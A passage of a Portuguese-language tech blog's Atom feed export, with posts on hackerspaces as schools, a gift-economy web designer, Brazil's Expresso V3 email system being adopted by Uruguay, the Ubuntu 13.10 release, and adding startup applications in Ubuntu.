É notável que, de uma forma muito parecida com a escola da Grécia antiga, os hackerspaces vem aos poucos reconstruindo esse antigo cenário e adotando paradigmas associados ao prazer de aprender que foram esquecidos ao longo da história. Será a cultura hacker responsável por trazer os valores perdidos na Grécia antiga para educação no mundo moderno?&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;Hackerspaces brasileiros:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
CG Hackerspace, Campina Grande - PB&lt;br /&gt;
Garoa Hacker Clube, São Paulo - SP&lt;br /&gt;
Laboratório Hacker de Campinas, Campinas - SP&lt;br /&gt;
MateHackers, Porto Alegre - RS&lt;br /&gt;
SJC Hacker Clube, São José dos Campos - SP&lt;br /&gt;
Tarrafa Hackerspace, Florianópolis - SC&lt;br /&gt;
Triângulo Hackerspace, Uberlândia - MG&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fontes:&lt;/b&gt;&lt;br /&gt;
http://oxforddictionaries.com/definition/english/school?q=school&lt;br /&gt;
https://pt.wikipedia.org/wiki/Hacker&lt;br /&gt;
https://pt.wikipedia.org/wiki/Hackerspace&lt;br /&gt;
https://pt.wikipedia.org/wiki/Escola&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/831862773029329452/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/um-novo-modelo-de-escola-hackerspace.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/831862773029329452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/831862773029329452'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/um-novo-modelo-de-escola-hackerspace.html' title='Um novo modelo de escola - Hackerspace'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFLsxunmgRM5rzJFKL85B1gtJXu30P8ExnzWpUdfrpoWJZfVasXMOXPk4auTZD_zK3XCEaSYAo5g_z_FqW0Vajh7Pd7jAgxdpoJJ9V__PCISx-k_wjvCC9AQbigMtLIp_1U8ns_2lo7Xk/s72-c/hackerspace-2.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-8966692575210512914</id><published>2014-03-02T16:32:00.001-04:00</published><updated>2014-03-05T07:48:15.838-04:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Webdesigner"/><title type='text'>Webdesigner cria sites sem custo em troca de presentes</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://wiy.com.br/blog/wp-content/uploads/2013/10/Cria%C3%A7%C3%A3o-de-Loja-Virtual-de-Cosm%C3%A9ticos-3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://wiy.com.br/blog/wp-content/uploads/2013/10/Cria%C3%A7%C3%A3o-de-Loja-Virtual-de-Cosm%C3%A9ticos-3.jpg&quot; height=&quot;151&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Adrian Hoppel tem família e um filho pequeno e ainda assim decidiu abrir mão de cobrar dinheiro pelo seu trabalho. Passou a produzir seus sites em troca de presentes num sistema conhecido como &quot;economia de presentes&quot;.&lt;br /&gt;
&lt;br /&gt;
Por mais estranho que possa parecer, Hoppel garante que trabalhando dessa forma está mais feliz. Diz que: “As pessoas confiam em mim para construir um site, e eu confio neles para apoiar meu trabalho da maneira mais justa”. E complementa dizendo: “Com essa escolha, eu recebi o presente mais importante de todos: a verdadeira fé nas pessoas em serem honestas, justas, generosas e solidárias”.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Segundo ele, adotar o sistema de economia de presentes não significa trabalhar gratuitamente, mas se baseia em uma troca de confiança e nunca nenhum cliente deixou de presenteá-lo com algo. &amp;nbsp;“A maioria dos clientes me presenteou com pagamento em dinheiro, e em uma quantia maior do que eu recebia no modelo tradicional, baseado na negociação, em que os menores preços vencem a concorrência. Já o modelo de presente que se baseia no respeito mútuo e na justiça”.&lt;br /&gt;
&lt;br /&gt;
Em seu site, Hoppel explica detalhadamente como funciona o processo de troca. Também é possível conferir quais clientes já atendeu com seu processo de trabalho. Todo seu trabalho é baseado em softwares open-source e licenças livres conhecidas como creative commons.&lt;br /&gt;
&lt;br /&gt;
Citação em seu site:&lt;br /&gt;
&lt;br /&gt;
&quot;A economia de presentes representa uma mudança do consumo para contribuição, da transação para confiança, da escassez para a abundância e do isolamento com a comunidade.&quot;&lt;br /&gt;
&lt;br /&gt;
Charles Eisenstein - http://adrianhoppel.com&lt;br /&gt;
Fonte: zenstyle.com.br&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/8966692575210512914/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/03/webdesigner-cria-sites-sem-custo-em.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/8966692575210512914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/8966692575210512914'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/03/webdesigner-cria-sites-sem-custo-em.html' title='Webdesigner cria sites sem custo em troca de presentes'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-4070126927703793566</id><published>2014-02-14T19:29:00.001-03:00</published><updated>2014-02-14T20:00:01.430-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Uruguai adotará e-mail brasileiro criado contra espionagem dos EUA</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://tecnogeek.com.br/wp-content/uploads/2014/02/antenas-355x252.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://tecnogeek.com.br/wp-content/uploads/2014/02/antenas-355x252.jpg&quot; height=&quot;141&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Apresentado como solução para livrar o governo brasileiro da espionagem, o novo sistema de e-mails e de comunicação brasileiro Expresso V3 será implantado pelo governo do Uruguai e desperta a atenção dos governos de Argentina, Bolívia e Venezuela.&lt;br /&gt;
&lt;br /&gt;
Um acordo de cooperação firmado entre Brasil e Uruguai prevê a instalação do Expresso V3 na Antel (a empresa estatal de telecomunicações do Uruguai), afirmou ao G1 o coordenador de ações governamentais do Serviço Federal de Processamento de Dados (Serpro), Marcos Melo, gestor do sistema.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
O Serpro, empresa pública que desenvolve os sistemas críticos da esfera federal como os da Receita Federal, desenvolveu a tecnologia em resposta às revelações de que as comunicações da presidente Dilma Rousseff, de assessores próximos e da Petrobras foram espionadas pelos serviços de segurança nacional dos Estados Unidos, e o Ministério das Minas e Energia teve suas mensagens interceptadas pelo Canadá.&lt;br /&gt;
&lt;br /&gt;
O sistema cria uma rede interna pelas quais passarão as trocas de e-mails, as videoconferências e até os acessos à internet realizados pelos funcionários do governo federal. O objetivo é barrar o acesso de espiões às mensagens trocadas dentro do governo brasileiro.&lt;br /&gt;
&lt;br /&gt;
Os dados do software circularão por fibras óticas de empresas públicas, como a Telebras, e não usarão redes estrangeiras. Para estender essa segurança a mensagens enviadas para fora do sistema Expresso V3, os e-mails mandados para outros serviços de correio eletrônico serão criptografados.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Ferramenta de comunicação&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Segundo Melo, no caso do Uruguai, não só a preocupação com a segurança motiva a adoção. “Tanto o Uruguai quanto o Brasil tem necessidade de uma ferramenta de comunicação. A parceria não surgiu somente pela segurança, mas pela necessidade [do Uruguai] de deter uma ferramenta de comunicação segura”, diz Melo. Ele não revelou quanto o Uruguai pagará pelo serviço.&lt;br /&gt;
“Suas funcionalidades se ajustam muito bem aos requerimentos da Antel para executar os serviços de correio”, informou a empresa uruguaia ao G1, em entrevista por e-mail. A estatal acrescenta aos motivos que a fizeram recorrer ao Expresso V3 o fato de a plataforma ser livre.&lt;br /&gt;
Com código aberto, o software pode ser modificado por qualquer um, diferentemente do que ocorre em softwares de propriedade por empresas privadas como, por exemplo, o Windows, que tem código fechado.&lt;br /&gt;
&lt;br /&gt;
A empresa afirma ainda que as características do software “estão alinhadas com a estratégia do país de potencializar sua capacidade de inovar, promover pesquisa científica e tecnológica e a inclusão digital”.&lt;br /&gt;
&lt;br /&gt;
Após a instalação na Antel, o governo do Uruguai, acionista majoritário da estatal, decidirá se expandirá o uso do sistema para outras áreas. A primeira etapa de implantação no país começará em 10 de março, quando técnicos do Serpro irão ao país auxiliar os funcionários da empresa a operar o novo sistema.&lt;br /&gt;
&lt;br /&gt;
“Eles instalarão o ambiente e mostrarão as soluções [do Expresso V3] para identificarem as necessidades do Uruguai”, explica Melo. Segundo a Antel, o Expresso V3 funcionará no Centro de Treinamento e Desenvolvimento, onde poderá ser visto também por empresas privadas e públicas do país.&lt;br /&gt;
&lt;br /&gt;
O acordo que está sendo acertado entre Serpro e Antel prevê a instalação do software, além de suporte ao sistema. Nas negociações para ampliação da utilização, ainda em andamento, o Serpro sugeriu que o período de suporte variasse entre um e dois anos.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sistema em outros países&lt;/b&gt;&lt;br /&gt;
Argentina, Bolívia e Venezuela já negociam com o Serpro a implantação do Expresso V3, diz o coordenador de ações governamentais do Serpro. O V3 é a atualização de uma tecnologia similar, o Expresso V2, que não tinha técnicas tão aprofundadas de segurança e não era utilizado por todos os órgãos do governo federal. Chegava a apenas 20% deles.&lt;br /&gt;
&lt;br /&gt;
Já com o Expresso V3, a ordem presidencial é expandi-lo a toda esfera federal. Em novembro de 2013, o sistema começou a ser implantado na Presidência da República. Segundo Melo, quase metade dos servidores alocados na presidência, cerca de 2,2 mil, já tiveram seus perfis migrados para o novo sistema e, até o fim de março, tudo estará coberto pela ferramenta. Será nesse último mês que, espera-se, o perfil da presidente, junto com o restante de seu gabinete, seja migrado. De acordo com o Serpro, a presidente Dilma utiliza o Outlook, programa de e-mail da norte-americana Microsoft.&lt;br /&gt;
&lt;br /&gt;
Melo explica que o processo tem de ser feito em blocos, para que todos os servidores públicos de uma determinada repartição tenham acesso ao sistema ao mesmo tempo. A migração envolve levar do sistema de comunicação antigo para o novo todos os contatos, a agenda, e outras informações do ambiente de informática usado pelo funcionário.&lt;br /&gt;
&lt;br /&gt;
Já em curso, a migração dentro do Ministério do Planejamento começou no início de fevereiro e terminará em 17 de março. A próxima pasta da lista será a Fazenda.&lt;br /&gt;
&lt;br /&gt;
Os órgãos e ministérios que já acionaram o Serpro para ter o Expresso V3 foram o Departamento Nacional de Infraestrutura de Transportes (Dnit) e as pastas das Cidades e das Minas e Energia. “Na verdade, a gente tem um ‘backlog’ [acúmulo pendente] grande [de solicitações]“, comenta Melo sobre a longa fila de áreas governamentais à espera do novo sistema.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fonte:&amp;nbsp;Lytux&lt;/b&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/4070126927703793566/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2014/02/uruguai-adotara-e-mail-brasileiro.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/4070126927703793566'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/4070126927703793566'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2014/02/uruguai-adotara-e-mail-brasileiro.html' title='Uruguai adotará e-mail brasileiro criado contra espionagem dos EUA'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-5665877070144373302</id><published>2013-12-08T14:16:00.002-03:00</published><updated>2013-12-08T14:16:23.798-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>O que há de novo no Ubuntu 13.10 Saucy Salamander</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://imagens.canaltech.com.br/34201.50049-Ubuntu-1310.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;100&quot; src=&quot;http://imagens.canaltech.com.br/34201.50049-Ubuntu-1310.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
As duas grandes mudanças previstas para a versão 13.10 do Ubuntu, conhecida como Saucy Salamander, eram o Smart Scopes, que adiciona um poderoso mecanismo de buscas no Unity, e o Mir, que infelizmente não foi adicionado nessa versão (ou felizmente, já que ainda apresentava alguns bugs críticos na data de lançamento. Com exceção do Smart Scopes, não há grandes mudanças. Há, sim, algumas atualizações de versão aqui e ali, mas no geral, ele está bem semelhante ao Ubuntu 13.04 (Raring Ringtail). Isso já era esperado, já que 6 meses entre um lançamento e outro é um espaço de tempo muito pequeno para mudanças abruptas.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
O que há de novo no Ubuntu 13.04 (Raring Ringtail)&lt;br /&gt;
Mir, o gerenciador de interface que foi adiado&lt;br /&gt;
Colocamos o Mir em primeiro lugar pois ele representa uma grande mudança no Ubuntu. Mesmo que não esteja incluso na instalação padrão, é possível obtê-lo após instalar o sistema. Praticamente todas as distros Linux utilizam o X.org como gerenciador de interface, que já é bem velha, baseada no código do XFree86 (que, veja bem, é de 1986). Este é um dos grandes motivos pelos quais é possível instalar um Linux moderno em uma máquina bem antiga, daquelas ainda com o Pentium III.&lt;br /&gt;
MIR&lt;br /&gt;
&lt;br /&gt;
O Mir, segundo a Canonical, é o próximo estágio de evolução do Xorg, fazendo uso de aceleração de hardware por padrão. Essa é uma ótima notícia para quem comprou um computador nos últimos anos, já que praticamente todos eles possuem a GPU, mesmo que integrada, poderosa o suficiente para lidar com uma série de tarefas 3D, aliviando a CPU. Mais do que isso, ele foi desenvolvido em uma época onde telas sensíveis ao toque não são mais um conceito futurista, e já participam do dia a dia de milhões de pessoas.&lt;br /&gt;
&lt;br /&gt;
Linux, você sabe o que é isso?&lt;br /&gt;
Um dos grandes problemas do Mir pouco tem a ver com o projeto em si, mas sim com a postura da Canonical. Da mesma forma como acontece com o Unity, o Mir é desenvolvido pela Canonical de uma forma independente das outras distros Linux. Tanto para outras distros quanto para parceiros de hardware, parece que a empresa quer enfiar os seus padrões goela abaixo tanto de usuários quanto de empresas, algo que ainda causa problemas de aceitação do Unity para uma boa parte dos usuários.&lt;br /&gt;
&lt;br /&gt;
De fato, a Canonical não é muito carismática nesse sentido, onde o Ubuntu é a distro mais apta a iniciar a fragmentação do ecossistema Linux (por algum motivo eu lembrei do Android). A Intel é uma das empresas que não concorda com a adoção do Mir, e considerando que ela é a maior fabricante de processadores do mundo, isso é um enorme obstáculo. Mais para frente criaremos um artigo explicando em detalhes o que é o Mir, mas por enquanto, o importante é saber que ele é um gerenciador de interface mais avançado, exclusivo do Ubuntu e que só será adotado provavelmente na próxima versão.&lt;br /&gt;
Smart Scopes, um gerenciador de pesquisas no Dash verdadeiramente útil&lt;br /&gt;
&lt;br /&gt;
A inclusão de resultados de compras da Amazon no Dash causou muitas críticas na versão 12.10 do Ubuntu (Quantal Quetzal), quando adicionado. Algo como &quot;como assim estou vendo propagandas dentro do próprio sistema operacional???&quot;. De fato, não fazia muito sentido. Por que só a Amazon? Por que não adicionar metabuscas mais úteis além das propagandas e torná-lo um recurso poderoso?&lt;br /&gt;
&lt;br /&gt;
Então o Smart Scopes foi adicionado. Além da Amazon, programas instalados e dados do usuário dentro do disco rígido, várias buscas foram adicionadas. Várias mesmo. Dentre as mais relevantes, podemos citar Wikipedia, Reddit, Facebook, Foursquase, Ask Ubuntu, devianART, Google Drive (associado à sua conta Gmail), Flickr e muitos outros. Além disso, ele &quot;aprende&quot; conforme o uso, sendo possível inclusive adicionar novas fontes.&lt;br /&gt;
&lt;br /&gt;
Caso o usuário não queira incluir pesquisas nos mecanismos acima em suas buscas, é fácil desativá-lo. Basta ir até a central de controle, depois acessar &quot;Security &amp;amp; Privacy&quot; e setar o item &quot;Include online search results&quot; como OFF.&lt;br /&gt;
&lt;br /&gt;
Mudanças menores&lt;br /&gt;
Como qualquer atualização de versão de uma distro Linux, o kernel recebeu um update. Agora o kernel padrão é a versão 3.11 (3.8 no Ubuntu 13.04), assim como alguns outros programas já aparecem com versões mais recentes, como:&lt;br /&gt;
&lt;br /&gt;
Firefox 24 (Firefox 20 no Ubuntu 13.04)&lt;br /&gt;
X.org 1.14 (X.org 1.13 no Ubuntu 13.04)&lt;br /&gt;
LibreOffice 4.1 (LibreOffice no Ubuntu 13.04)&lt;br /&gt;
gcc 4.8 (gcc 4.7 no Ubuntu 13.04)&lt;br /&gt;
LibreOffice 4.1&lt;br /&gt;
&lt;br /&gt;
Em nossos testes em especial, como estávamos rodando o Ubuntu em uma máquina com processador e placa de vídeo AMD (A6-3420M com gráficos Radeon HD 6520G e Radeon HD 7690M), reparamos uma excelente adaptação dos drivers de vídeo. Ainda que o driver genérico tenha funcionado bem, preferimos instalar o Catalyst para obter mais performance e economia de energia, não exigindo configurações adicionais para reconhecer as duas placas de vídeo e configurá-las dinamicamente.&lt;br /&gt;
&lt;br /&gt;
Conclusão: vale a pena o upgrade?&lt;br /&gt;
Para quem possui a versão 13.04 do Ubuntu, realizar o upgrade não é muito uma questão de opção, mas sim de necessidade. A Canonical garantiu upgrades para esta versão por apenas 9 meses, de forma que até sair a próxima versão, é melhor fazer o upgrade para o 13.10 para não ter problemas de segurança e estabilidade.&lt;br /&gt;
&lt;br /&gt;
Ubuntu 13.10&lt;br /&gt;
A próxima versão do Ubuntu, a 14.04 (Trusty Tahr), será LTS (Long Term Support), o que garante o suporte da Canonical durante 5 anos. Para quem possui a versão LTS anterior, a 12.04 (Precise Pangolin), é melhor pular a versão 13.04 e só atualizar quando a 14.04 ficar disponível, mesmo que ainda sobrem 3 anos de suporte da Canonical.&lt;br /&gt;
Além disso, o Mir provavelmente só dará as caras na próxima versão, já que, por se tratar de um LTS, a Canonical ainda fará testes exaustivos de estabilidade para adotá-lo como padrão.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Matéria completa: http://canaltech.com.br/analise/software/O-que-ha-de-novo-no-Ubuntu-1310-Saucy-Salamander/#ixzz2mu8qiq2j&lt;br /&gt;
O conteúdo do Canaltech é protegido sob a licença Creative Commons (CC BY-NC-ND). Você pode reproduzi-lo, desde que insira créditos COM O LINK para o conteúdo original e não faça uso comercial de nossa produção.&amp;nbsp;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/5665877070144373302/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2013/12/o-que-ha-de-novo-no-ubuntu-1310-saucy.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/5665877070144373302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/5665877070144373302'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2013/12/o-que-ha-de-novo-no-ubuntu-1310-saucy.html' title='O que há de novo no Ubuntu 13.10 Saucy Salamander'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-7411059309792294989</id><published>2013-12-08T14:04:00.003-03:00</published><updated>2013-12-08T14:04:36.018-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Como adicionar aplicações ao arranque do Ubuntu</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://pplware.sapo.pt/wp-content/uploads/2013/06/usc_04.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;139&quot; src=&quot;http://pplware.sapo.pt/wp-content/uploads/2013/06/usc_04.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Por vezes há aplicações que precisamos que sejam executadas logo no arranque do Ubuntu. As aplicações mais comuns que normalmente se adiciona ao arranque do Ubuntu, são pequenos serviços ou indicadores, que na verdade ficam abertos mas em background, ou seja, sem o utilizador ver essas aplicações a trabalharem.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Ora, neste artigo iremos explicar, de forma muito fácil e rápida, como adicionar aplicações ao arranque do Ubuntu. Você poderá adicionar o que quiser para ser iniciado com a sessão do Ubuntu!&lt;br /&gt;
&lt;br /&gt;
Este artigo é extremamente simples, pois o Ubuntu tem uma aplicação que faz a gestão das aplicações de arranque. Portanto o artigo resume-se a explicar como abrir a aplicação e como adicionar os programas ao arranque do Ubuntu.&lt;br /&gt;
&lt;br /&gt;
Antes de explicar como adicionar então aplicações ao arranque do Ubuntu, a equipa do ubuntued quer apenas lembrar que há um artigo muito interessante que permite mostrar todas as aplicações que estão no arranque da sessão do Ubuntu. Esse artigo existe pois há várias aplicações que são ocultadas para que os utilizadores não as desliguem. Quer saber como pôr essas aplicações visíveis? Veja este artigo:&lt;br /&gt;
&lt;br /&gt;
Como ver as entradas ocultas do arranque do Ubuntu?&lt;br /&gt;
&lt;br /&gt;
Como adicionar uma aplicação ao arranque do Ubuntu&lt;br /&gt;
&lt;br /&gt;
1. Você sabe qual é o comando da aplicação?&lt;br /&gt;
&lt;br /&gt;
A adição de uma aplicação ao arranque do Ubuntu é extramemente simples, mas requer uma informação que você tem de saber previamente: o nome/comando que abre a aplicação que você quer que ela seja aberta. Para você saber qual o nome da aplicação, você pode simplesmente abrir o terminal e escrever o nome dela e carregar na tecla ENTER. Se ela abrir, perfeito, é esse o comando que a abre.&lt;br /&gt;
&lt;br /&gt;
No caso de você não saber o comando que abre determinada aplicação, também não há problema pois existe maneiras de descobrir isso mesmo. A maneira mais simples de descobrir é utilizando a aplicação de gestão de atalhos do Ubuntu chamada Alacarte. Essa aplicação é dada a conhecer no artigo do link abaixo:&lt;br /&gt;
&lt;br /&gt;
Como editar os atalhos dos programas (do Unity e outros)&lt;br /&gt;
A abrir o Alacarte&lt;br /&gt;
Depois de abrir o Alacarte, tal como se mostra na imagem acima, para obter então o comando que abre determinada aplicação basta selecionar a aplicação pretendida e escolher a opção “Propriedades“. Ao fazê-lo, abre-se uma janela onde apresenta o comando que abre a aplicação que você escolheu. Por exemplo na imagem abaixo, o comando é “guake”.&lt;br /&gt;
A buscar comando da aplicação no alacarte&lt;br /&gt;
&lt;br /&gt;
2. Abra o gestor de aplicações de arranque do Ubuntu&lt;br /&gt;
&lt;br /&gt;
A aplicação que permite adicionar e remover aplicações do arranque do Ubuntu pode ser aberta do Unity. Basta procurar por “sessão” no Dash do ubuntu, tal como na imagem abaixo, e selecionar o gestor de aplicações de arranque do Ubuntu. No caso de você ter o Ubuntu em português do Brasil a aplicação aparecerá com o nome “Aplicativos de sessão”, caso tenha o Ubuntu em português de Portugal, o nome da aplicação é “Aplicações de Arranque”.&lt;br /&gt;
1 - Abrir aplicativos de sessãoM&lt;br /&gt;
&lt;br /&gt;
3. Adicione uma nova aplicação ao arranque do Ubuntu&lt;br /&gt;
&lt;br /&gt;
Depois de ter o gestor aberto, para adicionar uma nova aplicação ao arranque do Ubuntu, clique no botão “Adicionar” tal como se mostra na imagem abaixo:&lt;br /&gt;
2 - Clique em Adicionar para acrescentar uma nova aplicação ao arranqueM&lt;br /&gt;
&lt;br /&gt;
Será então apresentada uma janela muito semelhante à da imagem abaixo em que você deverá preencher os vários campos apresentados conforme necessário.&lt;br /&gt;
3 - Preencha todos os campos de forma detalhadaM&lt;br /&gt;
&lt;br /&gt;
De salientar que o comando deverá ser exatamente como você determinou antes e deve ter em atenção que o comando é case-sensitive, ou seja, letras maiúsculas são diferentes de letras minúsculas. Quanto aos outros campos, tente preencher da maneira mais detalhada possível para o caso de você um dia se esquecer do porquê de determinada aplicação estar a arrancar com o Ubuntu.&lt;br /&gt;
&lt;br /&gt;
Quando terminar a edição, clique no botão “Adicionar“. A partir desse momento, sempre que iniciar o Ubuntu essa aplicação será iniciada.&lt;br /&gt;
&lt;br /&gt;
Fone:&amp;nbsp;ubuntued.info&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/7411059309792294989/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2013/12/como-adicionar-aplicacoes-ao-arranque.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/7411059309792294989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/7411059309792294989'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2013/12/como-adicionar-aplicacoes-ao-arranque.html' title='Como adicionar aplicações ao arranque do Ubuntu'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>